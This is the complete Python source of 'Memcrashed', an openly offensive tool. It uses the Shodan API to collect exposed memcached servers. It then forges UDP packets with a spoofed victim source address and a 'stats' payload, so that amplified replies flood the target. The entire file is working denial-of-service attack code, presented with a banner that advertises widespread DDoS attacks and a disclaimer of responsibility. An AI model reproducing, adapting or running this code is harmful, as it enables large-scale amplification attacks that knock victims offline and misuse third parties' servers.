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Memcrashed.py
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Memcrashed.py
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#!/usr/bin/python
import sys, os, time, shodan
from pathlib import Path
from scapy.all import *
from contextlib import contextmanager
starttime=time.time()
@contextmanager
def suppress_stdout():
with open(os.devnull, "w") as devnull:
old_stdout = sys.stdout
sys.stdout = devnull
try:
yield
finally:
sys.stdout = old_stdout
class color:
HEADER = '\033[0m'
keys = Path("./api.txt")
logo = color.HEADER + '''
███╗ ███╗███████╗███╗ ███╗ ██████╗██████╗ █████╗ ███████╗██╗ ██╗███████╗██████╗
████╗ ████║██╔════╝████╗ ████║██╔════╝██╔══██╗██╔══██╗██╔════╝██║ ██║██╔════╝██╔══██╗
██╔████╔██║█████╗ ██╔████╔██║██║ ██████╔╝███████║███████╗███████║█████╗ ██║ ██║
██║╚██╔╝██║██╔══╝ ██║╚██╔╝██║██║ ██╔══██╗██╔══██║╚════██║██╔══██║██╔══╝ ██║ ██║
██║ ╚═╝ ██║███████╗██║ ╚═╝ ██║╚██████╗██║ ██║██║ ██║███████║██║ ██║███████╗██████╔╝
╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚══════╝╚═════╝
Author: @037
Version: 3.1
####################################### DISCLAIMER ########################################
| Memcrashed is a tool that allows you to use Shodan.io to obtain hundreds of vulnerable |
| memcached servers. It then allows you to use the same servers to launch widespread |
| distributed denial of service attacks by forging UDP packets sourced to your victim. |
| Default payload includes the memcached "stats" command, 10 bytes to send, but the reply |
| is between 1,500 bytes up to hundreds of kilobytes. Please use this tool responsibly. |
| I am NOT responsible for any damages caused or any crimes committed by using this tool. |
###########################################################################################
'''
print(logo)
if keys.is_file():
with open('api.txt', 'r') as file:
SHODAN_API_KEY=file.readlines()
else:
file = open('api.txt', 'w')
SHODAN_API_KEY = input('[*] Please enter a valid Shodan.io API Key: ')
file.write(SHODAN_API_KEY)
print('[~] File written: ./api.txt')
file.close()
while True:
api = shodan.Shodan(SHODAN_API_KEY)
print('')
try:
myresults = Path("./bots.txt")
query = input("[*] Use Shodan API to search for affected Memcached servers? <Y/n>: ").lower()
if query.startswith('y'):
print('')
print('[~] Checking Shodan.io API Key: %s' % SHODAN_API_KEY)
results = api.search('product:"Memcached" port:11211')
print('[✓] API Key Authentication: SUCCESS')
print('[~] Number of bots: %s' % results['total'])
print('')
saveresult = input("[*] Save results for later usage? <Y/n>: ").lower()
if saveresult.startswith('y'):
file2 = open('bots.txt', 'a')
for result in results['matches']:
file2.write(result['ip_str'] + "\n")
print('[~] File written: ./bots.txt')
print('')
file2.close()
saveme = input('[*] Would you like to use locally stored Shodan data? <Y/n>: ').lower()
if myresults.is_file():
if saveme.startswith('y'):
ip_arrayn = []
with open('bots.txt') as my_file:
for line in my_file:
ip_arrayn.append(line)
ip_array = [s.rstrip() for s in ip_arrayn]
else:
print('')
print('[✘] Error: No bots stored locally, bots.txt file not found!')
print('')
if saveme.startswith('y') or query.startswith('y'):
print('')
target = input("[▸] Enter target IP address: ")
power = int(input("[▸] Enter preferred power (Default 1): ") or "1")
data = input("[▸] Enter payload contained inside packet: ") or "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n"
print('')
if query.startswith('y'):
iplist = input('[*] Would you like to display all the bots from Shodan? <Y/n>: ').lower()
if iplist.startswith('y'):
print('')
counter= int(0)
for result in results['matches']:
host = api.host('%s' % result['ip_str'])
counter=counter+1
print('[+] Memcache Server (%d) | IP: %s | OS: %s | ISP: %s |' % (counter, result['ip_str'], host.get('os', 'n/a'), host.get('org', 'n/a')))
time.sleep(2.0 - ((time.time() - starttime) % 2.0))
if saveme.startswith('y'):
iplistlocal = input('[*] Would you like to display all the bots stored locally? <Y/n>: ').lower()
if iplistlocal.startswith('y'):
print('')
counter= int(0)
for x in ip_array:
host = api.host('%s' % x)
counter=counter+1
print('[+] Memcache Server (%d) | IP: %s | OS: %s | ISP: %s |' % (counter, x, host.get('os', 'n/a'), host.get('org', 'n/a')))
time.sleep(2.0 - ((time.time() - starttime) % 2.0))
print('')
engage = input('[*] Ready to engage target %s? <Y/n>: ' % target).lower()
if engage.startswith('y'):
if saveme.startswith('y'):
for i in ip_array:
if power>1:
print('[+] Sending %d forged UDP packets to: %s' % (power, i))
with suppress_stdout():
send(IP(src=target, dst='%s' % i) / UDP(dport=11211)/Raw(load=data), count=power)
elif power==1:
print('[+] Sending 1 forged UDP packet to: %s' % i)
with suppress_stdout():
send(IP(src=target, dst='%s' % i) / UDP(dport=11211)/Raw(load=data), count=power)
else:
for result in results['matches']:
if power>1:
print('[+] Sending %d forged UDP packets to: %s' % (power, result['ip_str']))
with suppress_stdout():
send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211)/Raw(load=data), count=power)
elif power==1:
print('[+] Sending 1 forged UDP packet to: %s' % result['ip_str'])
with suppress_stdout():
send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211)/Raw(load=data), count=power)
print('')
print('[•] Task complete! Exiting Platform. Have a wonderful day.')
break
else:
print('')
print('[✘] Error: %s not engaged!' % target)
print('[~] Restarting Platform! Please wait.')
print('')
else:
print('')
print('[✘] Error: No bots stored locally or remotely on Shodan!')
print('[~] Restarting Platform! Please wait.')
print('')
except shodan.APIError as e:
print('[✘] Error: %s' % e)
option = input('[*] Would you like to change API Key? <Y/n>: ').lower()
if option.startswith('y'):
file = open('api.txt', 'w')
SHODAN_API_KEY = input('[*] Please enter valid Shodan.io API Key: ')
file.write(SHODAN_API_KEY)
print('[~] File written: ./api.txt')
file.close()
print('[~] Restarting Platform! Please wait.')
print('')
else:
print('')
print('[•] Exiting Platform. Have a wonderful day.')
break